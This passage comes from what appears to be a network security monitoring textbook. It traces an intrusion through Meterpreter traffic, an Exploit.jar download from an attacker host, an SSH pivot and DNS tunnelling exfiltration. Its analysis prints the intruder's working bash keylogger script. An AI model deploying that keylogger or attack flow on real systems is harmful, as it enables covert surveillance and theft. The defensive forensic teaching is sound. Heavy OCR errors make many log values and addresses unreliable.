Still, that result doesn't mean that no other activity affected the victim, 
172.16.0.37. To investigate that lead, we run a new ELSA query for 172.16.0.37 
and then click the program link to get a summary count of records. We need 
to know what other connections 172.16.0.37 conducted. Figure 11-8 shows 
the results. 

We take a similar approach to investigating these logs. First, we check 
out the Snort alerts, summarize them, and look for new information. Nothing 
new appears here, except we see Snort alerts for package management, 
probably due to system updates. 
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203.0.113.15 (244) X | 172.16.0.37 (513) X 172.16.0.37 (519) [Grouped by program] X | 


Result Options... v 


bro ssl 
bro dns 


bro http 
bro notice 














Figure 11-8: ELSA displays data sources for logs for 172.16.0.37. 


Next, we look at the dstip information and get results, as shown in 
Figure 11-9. (I've snipped the results to concentrate on the most pertinent 
information.) 





203.0.113.15 (244)| X 172.16.0.37 (513) X 172.16.0.37 (543) [Grouped by dstip] ES 


Result Options... v | 





Value 
172.16.0.37 
203.0.113.15 
91.189.91.13 
198.51.100.3 
93.184.216.139 
91.189.88.33 


199.59.150.7 


23.66.231.64 
23.66.231.43 
23.66.231.42 
23.66.231.51 
10.0.0.99 











Figure 11-9: ELSA displays a summary of dstip entries for 172.16.0.37. 


One entry catches our attention. The bottom record shows 10.0.0.99, an 
IP address in the Vivian's Pets internal network. That means there were five 
connections between 172.16.0.37 and 10.0.0.99. Are these legitimate? Could 
one or more be caused by an intruder abusing 172.16.0.37? 

Clicking the IP address 10.0.0.99 tells ELSA to query for records where 
10.0.0.99 was the destination IP address and 172.16.0.37 was the source IP 
address. Figure 11-10 shows the results. 

These records show three SSH connections. All three appear in the 
Bro conn.log file, and two appear as “heuristic detections” in the Bro notice.log 
file. These connections could involve transfers of data via a program like 
Secure Copy (scp) or interactive logins using SSH. It's probably worth look- 
ing for all activity involving 10.0.0.9, so we run a new query (not shown) 


for only that IP address, and group the results by program. They show 
121 Snort alerts, 23 conn.log entries, 18 dns.log entries, 2 notice.log entries, 
and 1 Attp.log entry. 

Using the same investigative steps, we query each of the log types for any- 
thing interesting. All of the Snort alerts for 10.0.0.9 appear to be related to 
package management, as do the Bro log entries for the rest of the activity. 

Is that the end of the case? Was 172.16.0.37 the only victim, and the 
SSH connections to 10.0.0.9 normal business activity? Could our NSM plat- 
form have missed something? 





Query [172.16.0.37 +dstip="10.0.0.99" | submit Query | Help 














From [2012-03-14 18:33:24 To [ | Add Term v | | Report On + | | Index v | Reuse current tab Grid display 


203.0.113.15 (244). X 172.16.0.37 (513)| X 172.16.0.37 (543) [Grouped by dstip]! X | 172.16.0.37 +dstip="10.0.0.99" (5) 


Result Options... » |Field Summary 1 ; ; 
host(1) program(2) class(2) srcip(1) srcport(3) dstip(1) dstport(1) notice type(1) notice msg(1) proto(1) 





Records: 515 153 ms 2 irst 1 last (15. vj 


Timestamp a Fields 
1363443955.587505| GHO0cd7mSva|172.16.0.37|41138]10.0.0.99|22|tcp| SSH::Login|Heuristically detected successful SSH login.|- 
Sat Mar 16 [172.16.0.37|10.0.0.99|22]-| sovm-eth2-1|Notice::ACTION LOGJ6|3600.000000]F|-|-I-I-;-I-I-|- 
14:25:57 host=127.0.0.1 program-bro notice classzBRO NOTICE srcip=172.16.0.37 srcport-41138 dstip-10.0.0.99 dstport=22 notice _type=SSH::Login 
not : g-Heuristically detected successful SSH login. 
CENE 1363443873.914662|GHOOcd7mSval172.16.0.37|41138|10.0.0.99|22|tcp|ssh|76.672733|3247|19063| SF|T|0|ShAdDaFf]104|8663|84|23439| 
-26: (empty)H- 
USES host=127.0.0.1 programz-bro conn class=BRO_CONN s:cip-172.16.0.37 srcport=41138 dstip=10.0.0.99 dstpori=22 proto=TCP 
ES 1363444243.198448|aW88giD5FBd|172.16.0.37|41143]10.0.0.99|22|tcp|ssh|12.289437]102495|1927|SF|T|0| ShAdDaFf]93|107339|42]4119| 


14:31:10 (empty)H- 























1363445247.466031|XuafY dlgXUj]172.16.0.37]41144]10.0.0.99|22|tcp| SSH::Login|Heuristically detected successful SSH login.|- 
SatMari6 |172.16.0.37]10.0.0.99|22]-|sovm-eth2-1|Notice::ACTION LOGJ6[3600.000000|F]-|-|-]-I-I-I-]- 
14:47:28 host=127.0.0.1 program-bro notice class-BRO. NOTICE srcip-172:16.0:37 srcport-41144 dstip- 1010.0:99 dstpori=22 notice. type-SSH::Login 
iotice_msg=Heuristically detected successful SSH login. 


SatMarig 1393444269.581421|XuafY dlgXU]]172.16.0.37]41144/10.0.0.99|22|tcp|ssh|972.884311/3775|71847|SF|T|O|ShAdDaFf]681|39195[806|113767] 


AR (empty)H- 
xe host=127.0.0.1 programzbro conn class=BRO_CONN srcip=172.16.0.37 srcport=41144 dstip=10.0.0.99 dstport=22 proto TCP. 


























Figure 11-10: ELSA displays Bro log records for source IP 172.16.0.37 and destination IP 10.0.0.9. 


Looking for Missing Traffic 


At this point, we suspect that something may be wrong, and we want to 
make sure that the NSM platform is performing as expected. Is our system 
up to the task of watching two segments? Could it be dropping traffic? 

One way to answer these questions is to check Bro's capture loss.log, which 
reports on Bro's packet-capture performance. Listing 11-1 shows the contents 
of the log at the time of this incident. 





$ cat /nsm/bro/logs/current/capture loss.log 
#separator \x09 

#set_separator , 

Hempty field (empty) 

#unset_field - 

#path capture_loss 

Hopen 2013-03-16-15-02-50 


#fields ts ts delta peer gaps acks percent lost 


#types time interval string count count string 
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1363446165 . 986403 900 . 000429 sovm-eth2-1 0 0 0.000% 


1363446165 .992449 900.000470 sovm-eth1-1 0 0 0.000% 
1363447065 .986807 900.000404 sovm-eth2-1 17963 19964 @89.977% 
1363447065.992765 900.000316 sovm-eth1-1 0 0 0.000% 





Listing 11-1: Bro capture_loss.log 


The second-to-last entry at @ is shocking. It shows that Bro dropped 
89.977 percent of the traffic seen on the second sniffing sensor interface. 
That could be devastating! (Bro may have run out of memory trying to 
track a lot of network activity on an underpowered sensor.) 

When monitoring a live interface, Bro must make decisions about which 
traffic to inspect and which traffic to ignore, simply to try to keep pace with 
the live packet stream. When run against a saved trace, Bro has more time 
for processing packets, perhaps offering a more thorough analysis. 

Remember that one of the tenets of NSM is to use multiple tools for 
collection and analysis, so if one tool fails, different sources of data may 
still help you determine what happened. Checking the /nsm/sensor_data/ 
soum-eth2/dailylogs/2013-03-16 directory on the NSM platform, we find the 
163MB snort.log. 1363441680 file, which contains the full content data cap- 
tured by Netsniff-ng on the SO NSM platform at the time of the incident. 

Because we have a copy of the original traffic on disk, we can run tools 
like Bro against it. Netsniff-ng was able to save the full trace because it was 
just logging packets straight to disk; it wasn’t doing any inspection or analy- 
sis, as Bro tried to do. To determine what Bro might have missed, we can 
rerun Bro against the full content data stored on the sensor. The results are 
shown in Listing 11-2. 





$ bro -r snort.10g.1363441680 


$ ls -al 

total 203008 

drwxrwXr-X 3 sovm sovm 4096 Mar 16 15:54 . 

drwxr-xr-x 30 sovm sovm 4096 Mar 16 15:53 .. 

-IW-IW-I-- 1 sovm sovm 59960 Mar 16 15:54 conn.log 
-IW-IW-I-- 1 sovm sovm 44624347 Mar 16 15:54 dns.log® 
-IW-IW-I-- 1 sovm sovm 1328 Mar 16 15:54 http.log 
-IW-IW-I-- 1 sovm sovm 1446 Mar 16 15:54 notice.log 
-IW-IW-I-- 1 sovm sovm 1128 Mar 16 15:54 notice policy.log 
-IW-IW-I-- 1 sovm sovm 251 Mar 16 15:54 packet filter.log 
-IW-I--IY-- 1 sovm sovm 163155548 Mar 16 15:53 snort.log.1363441680 
-IW-IW-I-- 1 sovm sovm 1066 Mar 16 15:54 ssh.log 
drwx------ 3 sovm sovm 4096 Mar 16 15:54 .state 

-IW-IW-I-- 1 sovm sovm 1668 Mar 16 15:54 weird.log 





Listing 11-2: Running Bro manually against full content data 


The large size of the dns.log file at ® attracts our attention immediately. 
How is there a 44MB DNS log for a 163MB packet trace? 


Analyzing the Bro dns.log File 


We decide to browse the new dns.logfile manually to see what it reveals. 


In early 2013, ELSA author Martin Holste added an import.pl script (https:// 
code.google.com/p/enterprise-log-search-and-archive/source/browse/ 
trunk/elsa/node/import.pl/) to ELSA to enable manual log additions. For this 
example, however, we will combine the earlier ELSA query method with manual log 
review, to demonstrate how analysts can use both techniques. 


We see many normal entries, and then a few that look odd. Listing 11-3 
shows a few sample DNS log entries. 





1363444304.701350 fOBMXgho3v5 10.0.0.99 40912  198.51.100.3 53 udp 
10453 daisy.ubuntu.com® 1 C INTERNET 1 Ae 0 NOERROR F 

F T T 0 91.189.95.54,91.189.95.559 5.000000,5.000000 

1363444390. 148462 Vr7iTah4er6 10.0.0.990 58566 — 203.0.113.80 53 udp 
470 labhl2pekjmnzoaoteostk4ms4xfhzma.practicalnsm.come 1 C_INTERNET 10 
NULLO - - F F T 

F 0 - - 

1363444390.147170 Vr7iTah4er6 10.0.0.990 58566 — 203.0.113.80 53 udp 
58279  vaaaakat2v2.practicalnsm.come 1 C INTERNET 10 NULLO - - 

F F T F 0 - 

1363444390.092180 Vr7iTah4er6 10.0.0.990 58566 — 203.0.113.80 53 udp 
50552  yrbsfo.practicalnsm.comO 1 C INTERNET 10 NULLO - - F 

F T F 0 - - 





Listing 11-3: Normal and suspicious entries in the Bro dns.log file 


The first record for daisy.ubuntu.com ® looks like a regular DNS query; 
someone wants to know the IP address for this site. But the second two records 
look odd. Why is someone querying for /labhi2pekjymnzoaoteostk4 ms4xfhzma 
.practicalnsm.com , vaaaakat2v2.practicalnsm.com ®, and yrb5fo.practicalnsm 
.com O? Also, unlike the first query for an A record 8, these are NULL que- 
ries @, which serve no practical purpose. A query for an A record returns 
the IP address associated with a domain name. Bro logs the response to the 
A record query in the single DNS log 9. 

Also note the source and destination IP addresses for these queries: 
10.0.0.99 © and 203.0.113.8 ©. The source IP address 10.0.0.99 was the sys- 
tem to which 172.16.0.37 connected three times via SSH. The destination IP 
address shares the same net block as 203.0.113.15, the computer hosting a 
malicious Java payload. Something odd is happening here. Then we notice 
other weird entries that also involve 10.0.0.99 and 203.0.113.8, as shown in 
Listing 11-4. These are NULL DNS records as well 6. 
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1363445036.498672 FVaYW51tbNh 10.0.0.99 34482  203.0.113.8 53 udp 
49394 Oeuase6eq\xc5v\xc1\xbfp2\xc5h\xdd\xdokmv\xedt\xc2\xc7\xf8\xea2p\xdc\xe0\xcd\xef\xfd\ 
xc5t\xed8t\xc4yj\xd1\xdf9qn\xf8\xcf0\xd8\xd480\xe7\xc5\xda\xf97\xe5k. \xebb6\xd3gj\xc76\xdb\xe9\ 
xdbn\xce\xf11v\xeb\xbdo\xdayn5gko\xc3tny9\xbf\xe5\xee\xce\xd3\xfb\xee\xc2bd\xd9zj\xbe\xe2z\ 
xf37\xbe\xcf\xbeh\xfd\xea\xfbe. \xecch\xd4k\xc2cgjqq\xf2\xe5\xdimj\xcck6mg\xf5z\xc5\xe7sc\xeb\ 
xea\xfbsc\xe4\xeb\xf9\xe7xq\xd57\xd9t\xe3\xe3\xef\xcom\xd7 fh\xeav\xcc8dgs.r\xfd\xe9\xf8\xca\ 
xd3\xe9\xc4\xd4u\xect8z\xcc\xf2w\xecyy\xc3\xf7n5bq\xF9\xe1v\xcle\xcdo\xc8z\xf53\xcecgpwy\xd7\ 
xfdr\xe5\xfaegiy\xe9\xebz7.practicalnsm.com 1 

C_INTERNET 10 NULL® - - F F T F 0 


1363444959.826628 FVaYW51tbNh 10.0.0.99 34482 203.0.113.8 53 udp 
53252 Oiiafy\xf7\xdf\xdbw\xfa\xe3\xe1w\xe7u5 \xd5auz\xbf\xe3\xd6\xe6\xd0\xf4u\xcOa\xe4\ 
xc31\xdf\xe6\xe1\xf6\xe1\xe1\xbf\xf62c\xd6\xe6d\xe8\xcf\xe2m\xc4\xe3\xe8\xeeru\xe68\xcd\ 
xc8\xf4j. \xea\xf9ujb\xdau\xcO\xda\xf3\xef\xeb\xc5\xf9\xc4p\xbe\xee\xf6\xclawd\xfc\xf2\xc5\ 
xdO\xfd\xf1\xcOf\xc5r\xe0\xc9\xecm\xdd\xd2\xe21\xfO\xd8\xfc\xd8ct5\xc6\xfdt\xcce\xec\x#7z\ 
xea.z\xe5m\xfbr\xe9\xbe\xd2\xe7\xfd\xe3\xc6cu\xc2wtz\xeb\xeLugk\xbf\xf2\xcb4\xe6viw\xcei\xd8\ 
xca\xc8hmsg4qjzhkd\xeou\xe4\xfa\xc7nitlk. \xbc\xeb\xdec\xe1\xc8131yiz\xfd\xd1\xf8\xfdro\xd0\ 
xef3p\xccoql\xd9\xdb\xc5\xedt\xc2\xc1\xd5\xf2m\xfcq\xebm\xc2\xc8F\xf9x\xf8xike\xc3wu\xdfcc. 


practicalnsm.com 1 C_INTERNET 10 NULL® - - F F T 
F 0 - - 
1363445003.696798 FVaYW51tbNh 10.0.0.99 34482  203.0.113.8 53 udp 


45003 Oakazvdidx3\xfibv\xf078w\xe20\xfd\xd0i\xc1\xe7d\xe2\xc5\xcd\xe3\xda7\xe0\xf9\xbf9\ 
xfdk\xefrxcn\xd5\xebue\xc6\xed\xbc\xc5b\xe2\xcc\xda\xd0\xc3\xe2\xbdij8. \xdf\xf3\xfa\xefy\xfd\ 
xc8yhm\xbe\xf771\xc8\xdc\xe3\xe0\xca\xdeo\xcO\xf3\xcbam\xd1\xd2\xfdt\xd1i\xd7r\xea\xcbc3\xdc\ 
xee\xe5 \xe040\xd9\xce\xec8n\xf99w\xd8\xfcjnw. \xf2j\xe4\xf5\xf6\xeb\xc60\xf3hv\xf9\xc38s\xef\ 
xd5b\xe4\xc6\xc9\xc9g\xd38\xfbhy\xf5\xccxw\xc7\xd0a2ypsz\xca\xe3\xbd\xc8\xbd\xc6cy\xd2\xce\ 
xbf\xe0b\xd8\xc4\xc6i.cb1\xf4fqp\xce\xd4\xebb\xe9v\xfdk\xed\xc3\xce\xcf\xe5j\xf9u\xf4uyn\ 
xed\xe30\xf61\xd7zyrp\xf2\xfd5swrz\xe8\xe6\xd5\xe2\xd3iv\xf2m\xd2\xe9\xdb. practicalnsm.com 

1 C_INTERNET 10 NULL® - - F F T F 0 





Listing 11-4: Malicious entries in the Bro dns.log file 


It looks as if someone is transporting data within hostnames in the 
practicalnsm.com domain. This appears to be a form of covert channel—an 
intruder is sending content via DNS records. 

The technique we're observing is popular when defenders keep tight 
access controls on outbound traffic. If an attacker can query name servers, 
he can send data packaged as part of the hostnames he queries via DNS. 
(This is a low-bandwidth attack method because a limited number of bytes 
can be carried in a hostname. In fact, more than 65,000 DNS records in 
this particular Bro dns.log file are associated with this sort of activity.) 


Checking Destination Ports 


So far, we've recognized that four IP addresses are involved in this particular 
intrusion. Two belong to Vivian's Pets: 172.16.0.37 (in the wireless network), 
and 10.0.0.99 (in the internal network). Two belong to the intruder and sit 
on the Internet: 203.0.113.15 and 203.0.113.8. Figure 11-11 shows the posi- 
tions of these IP addresses on the network. 
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Figure 11-11: Participants in the intrusion 


We decide to take another look at traffic involving 203.0.113.15, this 
time by querying ELSA for records and group by dstport (destination port). 
The results are shown in Figure 11-12. 


203.0.113.15 (250) [Grouped by dstport] X | 


Result Options... v 








Figure 11-12: ELSA displays a summary 
of dstport entries for 203.0.113.15. 
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Records with 54056 as the destination port are associated with the 
Metasploit Meterpreter activity noted earlier. There is only one type of mes- 
sage for this activity; they are all Snort alerts, as shown in Figure 11-13. 


203.0.113.15 +dstport="54056" (107) [Grouped by sig ms] i 


| Result Options... v | 





Count Value 
76 ET TROJAN Metasploit Meterpreter core_channel_* Command Request 








29 ET TROJAN Metasploit Meterpreter stdapi_* Command Request 











Figure 11-13: ELSA displays a summary of Snort signatures for 
203.0.113.15 and dstport 54056. 


Turning to destination port 4444, we use a similar process with similar 
results. Figure 11-14 shows what ELSA returns when we examine records 
where port 4444 is the destination port and 203.0.113.15 is an IP address. 


203.0.113.15 +dstport="4444" (104) [Grouped by sig msg] EE 


| Result Options... v | 





Count Value 





ET TROJAN Metasploit Meterpreter core_channel_* Command Response 





ET TROJAN Metasploit Meterpreter stdapi_* Command Response 











Figure 11-14: ELSA displays a summary of Snort signatures for 
203.0.113.15 and dstport 4444. 


It’s important to realize that these two destination ports are actually 
artifacts of packets being exchanged between the computers at 203.0.113.15 
and 172.16.0.37. It may be difficult to recognize this because ELSA is sum- 
marizing information captured in Snort alerts and other formats. However, 
a quick check of the Argus session data makes it easy to understand this 
important connection, as shown in Listing 11-5. 





$ racluster -n -r /nsm/sensor_data/sovm-eth1/argus/2013-03-16.log - host 203.0.113.15 


StartTime Flgs Proto SrcAddr Sport Dir DstAddr Dport 
TotPkts TotBytes State 
14:16:48.724146 e tcp 172.16.0.37.60320 => 203.0.113.15.80800 
19 3360 FIN 
14:16:52.544555 e tcp 172.16.0.37.60321 => 203.0.113.15.80800 
13 1790 FIN 
14:16:52.735852 e tcp 172.16.0.37.60322 -> 203.0.113.15.80800 
27 16164 FIN 
14:16:53.371660 e tcp 172.16.0.37.54056 -> 203.0.113.15.44440 


2802 834486 FIN 





Listing 11-5: Argus records for sessions involving 203.0.113.15 
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This record shows that 172.16.0.37 connected to 203.0.113.15 four times, 
as shown in the four sessions. The first three sessions connected to port 8080 
TCP at 9, 0, and ®. The last session connected to port 4444 TCP 0. 

We can examine these conversations via the full content data as well, 
and use Tshark to pay attention to the HTTP traffic to port 8080 TCP. 
Listing 11-6 shows that activity. 





$ tshark -t ad -n -r /nsm/sensor_data/sovm-eth1/dailylogs/2013-03-16/snort 
-1og.1363441666 -R 'tcp.port--8080 and http' 

2910 2013-03-16 14:16:48.727696 172.16.0.37 -> 203.0.113.15 HTTP 373 
GET /healthcarenews HTTP/1.1 

2912 2013-03-16 14:16:48.729359 203.0.113.15 -» 172.16.0.37 HTTP 200 
HTTP/1.1 302 Moved 

2914 2013-03-16 14:16:48.746910 172.16.0.37 -» 203.0.113.15 HTTP 374 
GET /healthcarenews/ HTTP/1.1 

2915 2013-03-16 14:16:48.752649 203.0.113.15 -» 172.16.0.37 HTTP 291 
HTTP/1.1 200 OK (text/html) 

2917 2013-03-16 14:16:48.897487 172.16.0.37 -» 203.0.113.15 HTTP 340 
GET /favicon.ico HTTP/1.1 

2918 2013-03-16 14:16:48.899164 203.0.113.15 -» 172.16.0.37 HTTP 335 
HTTP/1.1 404 File not found (text/html) 

2920 2013-03-16 14:16:48.905587 172.16.0.37 -> 203.0.113.15 HTTP 370 
GET /favicon.ico HTTP/1.1 

2921 2013-03-16 14:16:48.908271 203.0.113.15 -» 172.16.0.37 HTTP 335 
HTTP/1.1 404 File not found (text/html) 

2926 2013-03-16 14:16:52.560069 172.16.0.37 -> 203.0.113.15 HTTP 415 
GET /healthcarenews/Exploit.jar.pack.gz6 HTTP/1.1 

2928 2013-03-16 14:16:52.719387 203.0.113.15 -» 172.16.0.37 HTTP 200 
HTTP/1.1 302 Moved 

2930 2013-03-16 14:16:52.722747 172.16.0.37 -> 203.0.113.15 HTTP 274 
GET /healthcarenews/ HTTP/1.1 

2932 2013-03-16 14:16:52.725372 203.0.113.15 -» 172.16.0.37 HTTP 291 
HTTP/1.1 200 OKO (text/html) 

2939 2013-03-16 14:16:52.738151 172.16.0.37 -» 203.0.113.15 HTTP 364 
GET /healthcarenews/Exploit.jarO HTTP/1.1 

2945 2013-03-16 14:16:53.022853 203.0.113.15 -» 172.16.0.37 HTTP 1138 
HTTP/1.1 200 OK® (application/octet-stream) 

2951 2013-03-16 14:16:53.037218 172.16.0.37 -> 203.0.113.15 HTTP 406 
GET /healthcarenews/Exploit.jar® HTTP/1.1 

2957 2013-03-16 14:16:53.056665 203.0.113.15 -» 172.16.0.37 HTTP 1138 
HTTP/1.1 200 OKO (application/octet-stream) 


Listing 11-6: HTTP traffic from 172.16.0.37 to 203.0.113.15 


Listing 11-6 contains several troublesome entries. Requests for Exploit 
jar.pack.gz at ® and Exploit.jar 6 indicate the intruder's code on the victim 
system is trying to retrieve additional software from the attacking system. The 
initial code running on the victim is a beachhead, and now it's calling back 
home for reinforcements. Unfortunately for the victim, those packages are 
available and served upon order, as shown by the 200 OK responses @ © ©. 

This is another way to view activity that started the intrusion. However, 
we still need to know what happened after the attack succeeded. 
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Examining the Command-and-Control Channel 


From our previous analysis, we know that the intruder pivoted from victim 
172.16.0.37 to 10.0.0.99, but we don't know what he did on those two systems. 
Perhaps the traffic involving port 4444 TCP holds the answer. This could 
be the command-and-control channel, because it appears immediately after 
the connections to the malicious website. 

To analyze the suspected command-and-control channel, we generate 
a transcript for port 4444 traffic using the CapMe feature in ELSA. Click 
the Info button next to the record of interest involving port 4444 to get full 
content data. Figure 11-15 shows how to access CapMe. 


203.0.113.15 (244). X 172.16.0.37 (513) X 203.0.113.15 (250) [Grouped by dstport] X| MENSIBEEEU RE TEL IIUA] x | 





Result Options... » |Fleld Summary EOD . : SEN ] b Sa è 
host(1) program(1) class(1) sig priority(1) proto(1) srcip(1) srcport(1) dstip(1) dstport(1) sig sid(2) sig msg(2) sig_classification(1) interface(1) 



















































































Records: 100 / 102 138 ms ? rst r 1/2|3|4/5|6| 7| next> last>> |15 vj 
Timestamp a Fields 
[1:2014532:3] ET TROJAN " Log Info x |sification: Successful User Privilege Gain] 
SatMarig  [Priority: 2: {TCP} 172.16.0. 
Info Ee host-127.0.0.1 program=snor} Summary srcportz54056 cistip-208:0:113:15 dstpor'=4444 
ird i 014532:3 sig msq psponse sig classificationz Successful User Privilege 
Gain interface Links 
[1:2014532:3] ET TROJAN m http//doc.emergingihreats.neUbin/view/MaIn/2014532 | sification: Successful User Privilege Gain] 
Sat Mar 18 [Priority: 1]: {TCP} 172.16.0. Plugins 
into 3416:58 ost=127.0.0.1 program-snor| "plugin ~ | srcportz54056 dstip-208:0:113:18 dstpori-4444 
pex ig_sid=1:2014532:3 sig msg sponse sig classificationz Successful User Privilege 
Gain interface- lional 
| 
[1:2014532:3] ET TROJAN Hn ~~ |sification: Successful User Privilege Gain] 
SatMarig  [Priority: 1]: {TCP} 172.16.0. Close | 
Info 14:16:58 host=127.0.0.1 program=snort] rcportz54056 d 203.0.113.15 dstport-4444 
neta si id=1:2014532:3 sig msg-ET TROJAN Metasploit Meterpreter stdapi * Command Response sig classificationz Successful User Privilege 
Gain interface= 





Figure 11-15: Starting CapMe to generate a transcript for port 4444 traffic 


Click the getPcap option, and then click OK, to display a new screen 
where we input credentials to access the sensor. Also, for this example, I 
needed to change the Sid Source entry from sancp to event to help CapMe 
find the right session. When I ran this query originally, CapMe did not find 
the session with the Sid Source as sancp. The session record was probably 
not loaded yet, so I used the event table to find the data of interest. This 
approach works only if there is an event (triggered by Snort or Suricata, 
for example) associated with the traffic. It's safer to use the sancp table 
as long as the records have been loaded. You may need to wait a few min- 
utes for the records to load. Figure 11-16 shows the CapMe data request 
interface. 

In this section, we will examine the resulting transcript. At 642KB, it’s 
quite large, and manually examining it for entries of interest is tedious, 
but doing so is our best way to determine what happened to the victim 
systems. We'll look at excerpts from the transcript and what is happening 
at each point. 
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Src IP / Port: 17216037 


Dst IP / Port: | 203.0.113.15 


Start Time: 1363441618 


End Time: 1363445218 


Username: 


Password: 


Sid Source: 





Figure 11-16: Configuring CapMe to retrieve a transcript for 
port 4444 traffic 


Initial Access 


The transcript begins with the standard header created by Sguil (which 
handles transcript creation for CapMe, in the background) as shown in 
Listing 11-7. The command-and-control channel is not a cleartext-based 
exchange as in previous examples, so be prepared for a lot of extraneous 
characters! 





Sensor Name: 
Timestamp: 
Connection ID: 
Src IP: 

Dst IP: 

Src Port: 

Dst Port: 

OS Fingerprint: 
OS Fingerprint: 


DST: dn mns 


sovm-eth1-1 
2013-03-16 14:17:57 
.sovm-ethi-1 210 
172.16.0.37 (Unknown) 
203.0.113.15 (Unknown) 
54056 
4444 
172.16.0.37:54056 - UNKNOWN [S10:64:1:60:M1460,S,T,N,W6:.:?:?] (up: 4 hrs) 
-» 203.0.113.15:4444 (link: ethernet/modem) 


DST: 26er start..E(Ljava/io/DataInputStream;Ljava/io/OutputStream; [Ljava/lang/String;)V.. 





Listing 11-7: Standard transcript header created by Sguil 


Next, the term meterpreter appears, as shown in Listing 11-8. We've already 
seen this in the Snort alerts, but the presence of the term here indicates we're 
dealing with a Meterpreter component of the Metasploit framework. 
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DST: java/util/Map....... 7com/metasploit/meterpreter/MemoryBufferURLStreamHandler............. 
getFiles...java/lang/Class........ java/lang/Object..... 





Listing 11-8: The meterpreter reference 


As shown in Listing 11-9, next we see the term sysinfo, followed by 
what might be a hostname, wirubu32, and a Linux kernel version, Linux 
3.5.0-25-generic (i386). The victim system appears to be a Linux 1386 





platform. 
SREE oes sea "....Stdapi sys config sysinfo....)....53495413969516947426070095319226......... 
wirubu32....8....Linux 3.5.0-25-generic (i1386)............. 


DST: 





Listing 11-9: System information 


Next, we see the term desktop screenshot, as shown in Listing 11-10, 
which is certainly suspicious. This is probably a command to acquire a 
screen capture of the victim's desktop. 





Sod secas 4....Stdapi ui desktop screenshot....)....53921668623768997177532920965755.......... 
2I aaaea X...) [T. .0[8s..0. t. AS.u.^ .F. .I' ..2.08. KB. ^ .4M)RLAZ' ..... v.i. Gn. LLL. / 
| 55M 4052 OO. WO AX sive Bere (Loy Be e^. 





Listing 11-10: The desktop screenshot command for getting screen captures 


This second appearance of a desktop screenshot command is followed 
by a JFIF string, as shown in Listing 11-11. This is probably the header for 
a JPEG File Interchange Format (JFIF) file. 





SREP a cscs sie ui %....Stdapi_ui_desktop_screenshot....)....53921668623768997177532920965755.. 
va Mace are Rc e JEIE. see Rxenrn Crosses 





Listing 11-11: JFIF reference 


The excerpt in Listing 11-12 shows the net config get interfaces and 
net config get routes functions. The intruder is probably listing network 
interfaces and routes on the victim system to see where he sits on the 





network. 
DST£ eZ )....stdapi net config get interfaces....)....90005067652712330016895656875088. 
SRC: . 
SRE: Sejess sas )....stdapi net config get interfaces....)....90005067652712330016895656875088. . 
e rss oxsrene|secreieseesZeresuseensedesreeciseL0:e 
PERRO ER ERE E ET OPEM paces re 
— Q.esceesece|l rccsesessesZeiüMssesessesssesseslO = lOciesserersseeweu eek ek e ER ke Rxx eae 
DST 5 os eues mes 4....Stdapi net config get routes....)....34295947967733618834188710122897. 
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RUNE PG ides cad NAME, C NGC FON AE NEPRMVIMNET 





listing 11-12: The net config get interfaces and net config get routes functions 


The getwd command in Listing 11-13 probably means to get the working 
directory, followed by a mention of the /home/ubu32 directory. 





Josie avi einen e iisdio na e eb PQ...... 

Moor OP SEM EEEE 
DST mea Toe aneo eass stdapi fs getwd....)....55282344159994215019998291531526. 

SRC: 

SRCi sdeereskesexes stdapi fs getwd....)....55282344159994215019998291531526......... /home/ 
ubu32......... s. 





Listing 11-13: The getwd command and /home/ubu32 reference 


Listing 11-14 shows the most interesting entry so far. The string keylog 
-sh indicates that a keylogger is involved. If the intruder can capture keystrokes 
on the victim, he can access all sorts of information and potentially other 
systems. Following the name of the script appears to be the script itself, as 
well as the name of the file used to save the logged keystrokes: /tmp/.xkey.log. 
With this information, we could look for the file on the victim hard drive, 
assuming the intruder didn't delete it or the system didn't remove it after 





rebooting. 
DSTI: syskpsrw gs ame core channel open....)....64467327797845790259721795802753........ 3std 
api fs file........ D.stess cid e P ose lsla TUE keylog.sh......... wbb. 
SRC: . 
SRE. oC cn sane pb cte core channel open....)....64467327797845790259721795802753........ Diss s 
DST: seeseseskkze ees core channel write....)....05544054210663822153934887650143........ 2:253 
.-X...4#!/bin/bash 


DST: export DISPLAY=:0.0 

DST: xinput list 

DST: echo -e "KBD ID ?" 

DST: read kbd 

DST: xmodmap -pke > /tmp/.xkey.log 

DST: script -c "xinput test $kbd" | cat >> /tmp/.xkey.log & 

DST: echo "The keylog can be downloaded from /tmp/.xkey.log" 

DST: echo "Use the meterpreter download function" 

DST: echo "Press CTLR+C to exit this session, keylogger will run in background" 





listing 11-14: Keylogger references 


The intruder appears to run an 1s -al command next. (Listing 11-15 
shows only part of the output, although all of it was present in the transcript.) 
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DST. 2:499 meaa core channel write....)....27069574503151630704223424155348........ PAT 


——À 4ls -al 

DST 3. eov ern 

SRC: 

SRE? 22diosee s RR core channel write....)....27069574503151630704223424155348........... ess. 
SRC: . 

SREZ puse ang Disivasicn W...4total 164 


SRC: drwxr-xr-x 24 ubu32 ubu32 4096 Mar 16 10:22 . 

SRC: drwxr-xr-x 3 root root 4096 Mar 8 21:00 .. 

SRC: -rw------- 1 ubu32 ubu32 4447 Mar 16 08:17 .bash_history 
SRC: -rw-r--r-- 1 ubu32 ubu32 220 Mar 8 21:00 .bash logout 
SRC: -rw-r--r-- 1 ubu32 ubu32 3486 Mar 8 21:00 .bashrc 


SRC: drwx------ 15 ubu32 ubu32 4096 Mar 16 06:29 .cache 
SRC: drwxrwxr-x 3 ubu32 ubu32 4096 Mar 15 08:52 .compiz-1 
SRC: drwx------ 11 ubu32 ubu32 4096 Mar 16 09:34 .config 
SRC: drwx------ 3 ubu32 ubu32 4096 Mar 8 21:34 .dbus 


SRC: drwxr-xr-x 2 ubu32 ubu32 4096 Mar 8 21:34 Desktop 
SRC: -rw-r--r-- 1 ubu32 ubu32 26 Mar 16 09:08 .dmrc 
SRC: drwxr-xr-x 2 ubu32 ubu32 4096 Mar 8 21:34 Documents 





Listing 11-15: An 1s -al command 


The next command, mv keylog.sh .pulse, shows the intruder moving his 
keylogger script into the .pulse directory, as shown in Listing 11-16. Next, he 
changes the user permissions to rwx, for read-write-execute. 





DST 2$eroiaag s erkes core channel write....)....64553530986314682019983298603129........ pP 
uvis 4mv keylog.sh .pulse 

DS ieee resin snc ees core channel write....)....60405588103478885840826252268236........ Daans 
ERG 4chmod u-rwx keylog.sh 

DST weurevs mesi 

SRC: 

SRES admeses asse core channel write....)....60405588103478885840826252268236............... 





Listing 11-16: The mv keylog.sh .pulse command and rxw permissions 


Here, the intruder appears to execute his keylog.sh script. (The output of 
the script follows in Listing 11-17.) This script gives the intruder a chance to 
